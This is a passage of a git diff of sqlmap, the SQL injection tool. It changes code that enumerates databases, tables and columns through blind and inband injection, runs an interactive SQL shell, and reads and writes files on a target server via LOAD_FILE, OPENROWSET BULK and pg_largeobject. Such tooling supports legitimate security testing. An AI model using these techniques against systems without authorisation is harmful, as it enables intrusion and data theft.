+= exclDbsQuery - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - warnMsg = "no database" - if dbConsider == "1": - warnMsg += "s like" - warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) - - continue - - indexRange = getLimitRange(count) - - for index in indexRange: - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.query2 - else: - query = rootQuery.blind.query - query += dbQuery - query += exclDbsQuery - if Backend.isDbms(DBMS.DB2): - query += ") AS foobar" - query = agent.limitQuery(index, query, dbCond) - - value = inject.getValue(query, inband=False, error=False) - value = safeSQLIdentificatorNaming(value) - foundDbs.append(value) - - return foundDbs - - def searchTable(self): - bruteForce = False - - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - bruteForce = True - - if bruteForce: - message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") - - if test[0] in ("n", "N"): - return - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException - else: - regex = "|".join(conf.tbl.split(",")) - return tableExists(paths.COMMON_TABLES, regex) - - foundTbls = {} - tblList = conf.tbl.split(",") - - rootQuery = queries[Backend.getIdentifiedDbms()].search_table - tblCond = rootQuery.inband.condition - dbCond = rootQuery.inband.condition2 - whereDbsQuery = "" - - tblConsider, tblCondParam = self.likeOrExact("table") - - for tbl in tblList: - tbl = safeSQLIdentificatorNaming(tbl, True) - - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - tbl = tbl.upper() - - infoMsg = "searching table" - if tblConsider == "1": - infoMsg += "s like" - infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) - - if conf.db and conf.db != CURRENT_DB: - _ = conf.db.split(",") - whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" - infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) - elif conf.excludeSysDbs: - whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) - infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) - logger.info(infoMsg2) - - logger.info(infoMsg) - - tblQuery = "%s%s" % (tblCond, tblCondParam) - tblQuery = tblQuery % tbl - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - query = rootQuery.inband.query - query += tblQuery - query += whereDbsQuery - values = inject.getValue(query, blind=False) - - for foundDb, foundTbl in filterPairValues(values): - foundDb = safeSQLIdentificatorNaming(foundDb) - foundTbl = safeSQLIdentificatorNaming(foundTbl, True) - - if foundDb is None or foundTbl is None: - continue - - if foundDb in foundTbls: - foundTbls[foundDb].append(foundTbl) - else: - foundTbls[foundDb] = [foundTbl] - else: - infoMsg = "fetching number of databases with table" - if tblConsider == "1": - infoMsg += "s like" - infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) - logger.info(infoMsg) - - query = rootQuery.blind.count - query += tblQuery - query += whereDbsQuery - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - warnMsg = "no databases have table" - if tblConsider == "1": - warnMsg += "s like" - warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) - logger.warn(warnMsg) - - continue - - indexRange = getLimitRange(count) - - for index in indexRange: - query = rootQuery.blind.query - query += tblQuery - query += whereDbsQuery - if Backend.isDbms(DBMS.DB2): - query += ") AS foobar" - query = agent.limitQuery(index, query) - foundDb = inject.getValue(query, inband=False, error=False) - foundDb = safeSQLIdentificatorNaming(foundDb) - - if foundDb not in foundTbls: - foundTbls[foundDb] = [] - - if tblConsider == "2": - foundTbls[foundDb].append(tbl) - - if tblConsider == "2": - continue - - for db in foundTbls.keys(): - db = safeSQLIdentificatorNaming(db) - - infoMsg = "fetching number of table" - if tblConsider == "1": - infoMsg += "s like" - infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), db) - logger.info(infoMsg) - - query = rootQuery.blind.count2 - query = query % unsafeSQLIdentificatorNaming(db) - query += " AND %s" % tblQuery - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - warnMsg = "no table" - if tblConsider == "1": - warnMsg += "s like" - warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) - warnMsg += "in database '%s'" % db - logger.warn(warnMsg) - - continue - - indexRange = getLimitRange(count) - - for index in indexRange: - query = rootQuery.blind.query2 - query = query % unsafeSQLIdentificatorNaming(db) - query += " AND %s" % tblQuery - query = agent.limitQuery(index, query) - foundTbl = inject.getValue(query, inband=False, error=False) - kb.hintValue = foundTbl - foundTbl = safeSQLIdentificatorNaming(foundTbl, True) - foundTbls[db].append(foundTbl) - - return foundTbls - - def searchColumn(self): - bruteForce = False - - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - bruteForce = True - - if bruteForce: - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") - - if test[0] in ("n", "N"): - return - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException - else: - regex = "|".join(conf.col.split(",")) - conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) - - message = "do you want to dump entries? [Y/n] " - output = readInput(message, default="Y") - - if output and output[0] not in ("n", "N"): - self.dumpAll() - - return - - rootQuery = queries[Backend.getIdentifiedDbms()].search_column - foundCols = {} - dbs = {} - whereDbsQuery = "" - whereTblsQuery = "" - infoMsgTbl = "" - infoMsgDb = "" - colList = conf.col.split(",") - colCond = rootQuery.inband.condition - dbCond = rootQuery.inband.condition2 - tblCond = rootQuery.inband.condition3 - - colConsider, colCondParam = self.likeOrExact("column") - - for column in colList: - column = safeSQLIdentificatorNaming(column) - - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - column = column.upper() - - infoMsg = "searching column" - if colConsider == "1": - infoMsg += "s like" - infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) - - foundCols[column] = {} - - if conf.tbl: - _ = conf.tbl.split(",") - whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" - infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _)) - - if conf.db and conf.db != CURRENT_DB: - _ = conf.db.split(",") - whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" - infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) - elif conf.excludeSysDbs: - whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) - infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) - logger.info(infoMsg2) - else: - infoMsgDb = " across all databases" - - logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) - - colQuery = "%s%s" % (colCond, colCondParam) - colQuery = colQuery % unsafeSQLIdentificatorNaming(column) - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - if not all((conf.db, conf.tbl)): - # Enumerate tables containing the column provided if - # either of database(s) or table(s) is not provided - query = rootQuery.inband.query - query += colQuery - query += whereDbsQuery - query += whereTblsQuery - values = inject.getValue(query, blind=False) - else: - # Assume provided databases' tables contain the - # column(s) provided - values = [] - - for db in conf.db.split(","): - for tbl in conf.tbl.split(","): - values.append([db, tbl]) - - for db, tbl in filterPairValues(values): - db = safeSQLIdentificatorNaming(db) - tbls = tbl.split(",") - - for tbl in tbls: - tbl = safeSQLIdentificatorNaming(tbl, True) - - if db is None or tbl is None: - continue - - conf.db = db - conf.tbl = tbl - conf.col = column - - self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) - - if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: - if db not in dbs: - dbs[db] = {} - - if tbl not in dbs[db]: - dbs[db][tbl] = {} - - dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) - - if db in foundCols[column]: - foundCols[column][db].append(tbl) - else: - foundCols[column][db] = [tbl] - - kb.data.cachedColumns = {} - else: - if not conf.db: - infoMsg = "fetching number of databases with tables containing column" - if colConsider == "1": - infoMsg += "s like" - infoMsg += " '%s'" % column - logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) - - query = rootQuery.blind.count - query += colQuery - query += whereDbsQuery - query += whereTblsQuery - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - warnMsg = "no databases have tables containing column" - if colConsider == "1": - warnMsg += "s like" - warnMsg += " '%s'" % column - logger.warn("%s%s" % (warnMsg, infoMsgTbl)) - - continue - - indexRange = getLimitRange(count) - - for index in indexRange: - query = rootQuery.blind.query - query += colQuery - query += whereDbsQuery - query += whereTblsQuery - if Backend.isDbms(DBMS.DB2): - query += ") AS foobar" - query = agent.limitQuery(index, query) - db = inject.getValue(query, inband=False, error=False) - db = safeSQLIdentificatorNaming(db) - - if db not in dbs: - dbs[db] = {} - - if db not in foundCols[column]: - foundCols[column][db] = [] - else: - for db in conf.db.split(","): - if db not in foundCols[column]: - foundCols[column][db] = [] - - for column, dbData in foundCols.items(): - colQuery = "%s%s" % (colCond, colCondParam) - colQuery = colQuery % column - - for db in dbData: - db = safeSQLIdentificatorNaming(db) - - infoMsg = "fetching number of tables containing column" - if colConsider == "1": - infoMsg += "s like" - infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), db) - logger.info(infoMsg) - - query = rootQuery.blind.count2 - query = query % db - query += " AND %s" % colQuery - query += whereTblsQuery - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - warnMsg = "no tables contain column" - if colConsider == "1": - warnMsg += "s like" - warnMsg += " '%s' " % column - warnMsg += "in database '%s'" % db - logger.warn(warnMsg) - - continue - - indexRange = getLimitRange(count) - - for index in indexRange: - query = rootQuery.blind.query2 - query = query % db - query += " AND %s" % colQuery - query += whereTblsQuery - query = agent.limitQuery(index, query) - tbl = inject.getValue(query, inband=False, error=False) - kb.hintValue = tbl - - tbl = safeSQLIdentificatorNaming(tbl, True) - - conf.db = db - conf.tbl = tbl - conf.col = column - - self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) - - if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: - if db not in dbs: - dbs[db] = {} - - if tbl not in dbs[db]: - dbs[db][tbl] = {} - - dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) - - kb.data.cachedColumns = {} - - if db in foundCols[column]: - foundCols[column][db].append(tbl) - else: - foundCols[column][db] = [tbl] - - self.dumpFoundColumn(dbs, foundCols, colConsider) - - def search(self): - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - for item in ('db', 'tbl', 'col'): - if getattr(conf, item, None): - setattr(conf, item, getattr(conf, item).upper()) - - if conf.col: - self.searchColumn() - - elif conf.tbl: - conf.dumper.dbTables(self.searchTable()) - - elif conf.db: - conf.dumper.lister("found databases", self.searchDb()) - - else: - errMsg = "missing parameter, provide -D, -T or -C together " - errMsg += "with --search" - raise sqlmapMissingMandatoryOptionException, errMsg - - def sqlQuery(self, query): - output = None - sqlType = None - - query = query.rstrip(';') - - for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): - for sqlStatement in sqlStatements: - if query.lower().startswith(sqlStatement): - sqlType = sqlTitle - break - - if not sqlType or 'SELECT' in sqlType: - infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) - logger.info(infoMsg) - - output = inject.getValue(query, fromUser=True) - - return output - else: - if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: - warnMsg = "execution of custom SQL queries is only " - warnMsg += "available when stacked queries are supported" - logger.warn(warnMsg) - return None - else: - if sqlType: - infoMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) - else: - infoMsg = "executing unknown SQL type query: '%s'" % query - logger.info(infoMsg) - - inject.goStacked(query) - - infoMsg = "done" - logger.info(infoMsg) - - output = False - - return output - - def sqlShell(self): - infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms() - infoMsg += "'x' or 'q' and press ENTER" - logger.info(infoMsg) - - autoCompletion(sqlShell=True) - - while True: - query = None - - try: - query = raw_input("sql-shell> ") - query = utf8decode(query) - except KeyboardInterrupt: - print - errMsg = "user aborted" - logger.error(errMsg) - except EOFError: - print - errMsg = "exit" - logger.error(errMsg) - break - - if not query: - continue - - if query.lower() in ("x", "q", "exit", "quit"): - break - - output = self.sqlQuery(query) - - if output and output != "Quit": - conf.dumper.query(query, output) + query = queries[Backend.getIdentifiedDbms()].hostname.query - elif not output: - pass + if not kb.data.hostname: + kb.data.hostname = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) - elif output != "Quit": - dataToStdout("No output\n") + return kb.data.hostname diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index dec9463b7e6..df7fb110389 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,100 +1,103 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import binascii import codecs import os +import sys from lib.core.agent import agent -from lib.core.common import dataToOutFile from lib.core.common import Backend -from lib.core.common import isNumPosStrValue +from lib.core.common import checkFile +from lib.core.common import dataToOutFile +from lib.core.common import decloakToTemp +from lib.core.common import decodeDbmsHexValue from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isNullValue +from lib.core.common import isNumPosStrValue +from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable -from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.convert import hexdecode +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger -from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapUndefinedMethod +from lib.core.exception import SqlmapUndefinedMethod +from lib.core.settings import UNICODE_ENCODING from lib.request import inject -class Filesystem: +class Filesystem(object): """ This class defines generic OS file system functionalities for plugins. """ def __init__(self): - self.fileTblName = "sqlmapfile" + self.fileTblName = "%sfile" % conf.tablePrefix self.tblField = "data" - def __unhexString(self, hexStr): - if len(hexStr) % 2 != 0: - errMsg = "for some reason(s) sqlmap retrieved an odd-length " - errMsg += "hexadecimal string which it is not able to convert " - errMsg += "to raw string" - logger.error(errMsg) - - return hexStr - - try: - cleanStr = hexdecode(hexStr) - except TypeError, e: - logger.critical("unable to unhex the string ('%s')" % e) - return None - - return cleanStr - - def __checkWrittenFile(self, wFile, dFile, fileType): + def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): - lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile + lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile - elif Backend.isDbms(DBMS.PGSQL): - lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid + elif Backend.isDbms(DBMS.PGSQL) and not fileRead: + lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): - self.createSupportTbl(self.fileTblName, self.tblField, "text") - - # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10))) + self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") + inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) - wFileSize = os.path.getsize(wFile) - - logger.debug("checking if the %s file has been written" % fileType) - dFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - sameFile = None - - if isNumPosStrValue(dFileSize): - infoMsg = "the file has been successfully written and " - infoMsg += "its size is %s bytes" % dFileSize + try: + localFileSize = os.path.getsize(localFile) + except OSError: + warnMsg = "file '%s' is missing" % localFile + logger.warning(warnMsg) + localFileSize = 0 + + if fileRead and Backend.isDbms(DBMS.PGSQL): + logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) + sameFile = True + else: + logger.debug("checking the length of the remote file '%s'" % remoteFile) + remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + sameFile = None - dFileSize = long(dFileSize) + if isNumPosStrValue(remoteFileSize): + remoteFileSize = int(remoteFileSize) + localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + sameFile = False - if wFileSize == dFileSize: - sameFile = True - infoMsg += ", same size as the local file '%s'" % wFile + if localFileSize == remoteFileSize: + sameFile = True + infoMsg = "the local file '%s' and the remote file " % localFile + infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize) + elif remoteFileSize > localFileSize: + infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize) + infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) + else: + infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize) + infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) + + logger.info(infoMsg) else: sameFile = False - infoMsg += ", but the size differs from the local " - infoMsg += "file '%s' (%d bytes)" % (wFile, wFileSize) - - logger.info(infoMsg) - else: - sameFile = False - warnMsg = "it looks like the file has not been written, this " - warnMsg += "can occur if the DBMS process' user has no write " - warnMsg += "privileges in the destination path" - logger.warn(warnMsg) + warnMsg = "it looks like the file has not been written (usually " + warnMsg += "occurs if the DBMS process user has no write " + warnMsg += "privileges in the destination path)" + logger.warning(warnMsg) return sameFile @@ -111,147 +114,208 @@ def fileToSqlQueries(self, fcEncodedList): if counter == 0: sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine)) else: - updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine) + updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine) sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField)) counter += 1 return sqlQueries - def fileEncode(self, fileName, encoding, single): + def fileEncode(self, fileName, encoding, single, chunkSize=256): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ - fcEncodedList = [] - fp = codecs.open(fileName, "rb") - fcEncodedStr = fp.read().encode(encoding).replace("\n", "") + checkFile(fileName) - if not single: - fcLength = len(fcEncodedStr) + with open(fileName, "rb") as f: + content = f.read() - if fcLength > 256: - for i in xrange(0, fcLength, 256): - string = "" + return self.fileContentEncode(content, encoding, single, chunkSize) - if encoding == "hex": - string += "0x" + def fileContentEncode(self, content, encoding, single, chunkSize=256): + retVal = [] + + if encoding == "hex": + content = encodeHex(content) + elif encoding == "base64": + content = encodeBase64(content) + else: + content = codecs.encode(content, encoding) + + content = getText(content).replace("\n", "") - string += fcEncodedStr[i:i+256] + if not single: + if len(content) > chunkSize: + for i in xrange(0, len(content), chunkSize): + _ = content[i:i + chunkSize] - if encoding == "base64": - string = "'%s'" % string + if encoding == "hex": + _ = "0x%s" % _ + elif encoding == "base64": + _ = "'%s'" % _ - fcEncodedList.append(string) + retVal.append(_) - if not fcEncodedList: + if not retVal: if encoding == "hex": - fcEncodedStr = "0x%s" % fcEncodedStr + content = "0x%s" % content elif encoding == "base64": - fcEncodedStr = "'%s'" % fcEncodedStr + content = "'%s'" % content + + retVal = [content] - fcEncodedList = [ fcEncodedStr ] + return retVal - return fcEncodedList + def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): + choice = None - def askCheckWrittenFile(self, wFile, dFile, fileType): - message = "do you want confirmation that the file '%s' " % dFile - message += "has been successfully written on the back-end DBMS " - message += "file system? [Y/n] " - output = readInput(message, default="Y") + if forceCheck is not True: + message = "do you want confirmation that the local file '%s' " % localFile + message += "has been successfully written on the back-end DBMS " + message += "file system ('%s')? [Y/n] " % remoteFile + choice = readInput(message, default='Y', boolean=True) - if not output or output in ("y", "Y"): - return self.__checkWrittenFile(wFile, dFile, fileType) + if forceCheck or choice: + return self._checkFileLength(localFile, remoteFile) return True - def unionReadFile(self, rFile): - errMsg = "'unionReadFile' method must be defined " + def askCheckReadFile(self, localFile, remoteFile): + if not kb.bruteMode: + message = "do you want confirmation that the remote file '%s' " % remoteFile + message += "has been successfully downloaded from the back-end " + message += "DBMS file system? [Y/n] " + + if readInput(message, default='Y', boolean=True): + return self._checkFileLength(localFile, remoteFile, True) + + return None + + def nonStackedReadFile(self, remoteFile): + errMsg = "'nonStackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod(errMsg) - def stackedReadFile(self, rFile): + def stackedReadFile(self, remoteFile): errMsg = "'stackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod(errMsg) - def unionWriteFile(self, wFile, dFile, fileType): + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'unionWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod(errMsg) - def stackedWriteFile(self, wFile, dFile, fileType): + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'stackedWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod(errMsg) - def readFile(self, rFile): - fileContent = None + def readFile(self, remoteFile): + localFilePaths = [] self.checkDbmsOs() - if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): - if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): - debugMsg = "going to read the file with stacked query SQL " - debugMsg += "injection technique" + for remoteFile in remoteFile.split(','): + fileContent = None + kb.fileReadMode = True + + if conf.direct or isStackingAvailable(): + if isStackingAvailable(): + debugMsg = "going to try to read the file with stacked query SQL " + debugMsg += "injection technique" + logger.debug(debugMsg) + + fileContent = self.stackedReadFile(remoteFile) + elif Backend.isDbms(DBMS.MYSQL): + debugMsg = "going to try to read the file with non-stacked query " + debugMsg += "SQL injection technique" logger.debug(debugMsg) - fileContent = self.stackedReadFile(rFile) - elif Backend.isDbms(DBMS.MYSQL): - fileContent = self.unionReadFile(rFile) - else: - errMsg = "none of the SQL injection techniques detected can " - errMsg += "be used to read files from the underlying file " - errMsg += "system of the back-end %s server" % Backend.getDbms() - logger.error(errMsg) + fileContent = self.nonStackedReadFile(remoteFile) + else: + errMsg = "none of the SQL injection techniques detected can " + errMsg += "be used to read files from the underlying file " + errMsg += "system of the back-end %s server" % Backend.getDbms() + logger.error(errMsg) - return None + fileContent = None - if fileContent in ( None, "" ) and not Backend.isDbms(DBMS.PGSQL): - self.cleanup(onlyFileTbl=True) + kb.fileReadMode = False - return - elif isListLike(fileContent): - newFileContent = "" + if (isNoneValue(fileContent) or isNullValue(fileContent)) and not Backend.isDbms(DBMS.PGSQL): + self.cleanup(onlyFileTbl=True) + fileContent = None + elif isListLike(fileContent): + newFileContent = "" - for chunk in fileContent: - if isListLike(chunk): - if len(chunk) > 0: - chunk = chunk[0] - else: - chunk = "" + for chunk in fileContent: + if isListLike(chunk): + if len(chunk) > 0: + chunk = chunk[0] + else: + chunk = "" - if chunk: - newFileContent += chunk + if chunk: + newFileContent += chunk - fileContent = newFileContent + fileContent = newFileContent - fileContent = self.__unhexString(fileContent) - rFilePath = dataToOutFile(fileContent) + if fileContent is not None: + fileContent = decodeDbmsHexValue(fileContent, True) - if not Backend.isDbms(DBMS.PGSQL): - self.cleanup(onlyFileTbl=True) + if fileContent.strip(): + localFilePath = dataToOutFile(remoteFile, fileContent) + + if not Backend.isDbms(DBMS.PGSQL): + self.cleanup(onlyFileTbl=True) + + sameFile = self.askCheckReadFile(localFilePath, remoteFile) + + if sameFile is True: + localFilePath += " (same file)" + elif sameFile is False: + localFilePath += " (size differs from remote file)" + + localFilePaths.append(localFilePath) + elif not kb.bruteMode: + errMsg = "no data retrieved" + logger.error(errMsg) + + return localFilePaths - return rFilePath + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + written = False + + checkFile(localFile) - def writeFile(self, wFile, dFile, fileType=None): self.checkDbmsOs() - if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): - if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): - debugMsg = "going to upload the %s file with " % fileType - debugMsg += "stacked query SQL injection technique" + if localFile.endswith('_'): + localFile = getUnicode(decloakToTemp(localFile)) + + if conf.direct or isStackingAvailable(): + if isStackingAvailable(): + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "stacked query technique" logger.debug(debugMsg) - self.stackedWriteFile(wFile, dFile, fileType) + written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to upload the %s file with " % fileType - debugMsg += "UNION query SQL injection technique" + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "UNION query technique" + logger.debug(debugMsg) + + written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) + elif Backend.isDbms(DBMS.MYSQL): + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "LINES TERMINATED BY technique" logger.debug(debugMsg) - self.unionWriteFile(wFile, dFile, fileType) + written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " @@ -259,3 +323,5 @@ def writeFile(self, wFile, dFile, fileType=None): logger.error(errMsg) return None + + return written diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 14ce1c84c22..38f4775a1b9 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,17 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import readInput from lib.core.data import logger from lib.core.enums import OS -from lib.core.exception import sqlmapUndefinedMethod +from lib.core.exception import SqlmapUndefinedMethod -class Fingerprint: +class Fingerprint(object): """ This class defines generic fingerprint functionalities for plugins. """ @@ -22,17 +22,17 @@ def __init__(self, dbms): def getFingerprint(self): errMsg = "'getFingerprint' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod(errMsg) def checkDbms(self): errMsg = "'checkDbms' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod(errMsg) def checkDbmsOs(self, detailed=False): errMsg = "'checkDbmsOs' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod(errMsg) def forceDbmsEnum(self): pass @@ -40,19 +40,19 @@ def forceDbmsEnum(self): def userChooseDbmsOs(self): warnMsg = "for some reason sqlmap was unable to fingerprint " warnMsg += "the back-end DBMS operating system" - logger.warn(warnMsg) + logger.warning(warnMsg) msg = "do you want to provide the OS? [(W)indows/(l)inux]" while True: - os = readInput(msg, default="W") + os = readInput(msg, default='W').upper() - if os[0].lower() == "w": + if os == 'W': Backend.setOs(OS.WINDOWS) break - elif os[0].lower() == "l": + elif os == 'L': Backend.setOs(OS.LINUX) break else: warnMsg = "invalid value" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 4a8f3d6d7b2..bbb7adc0935 100644 --- 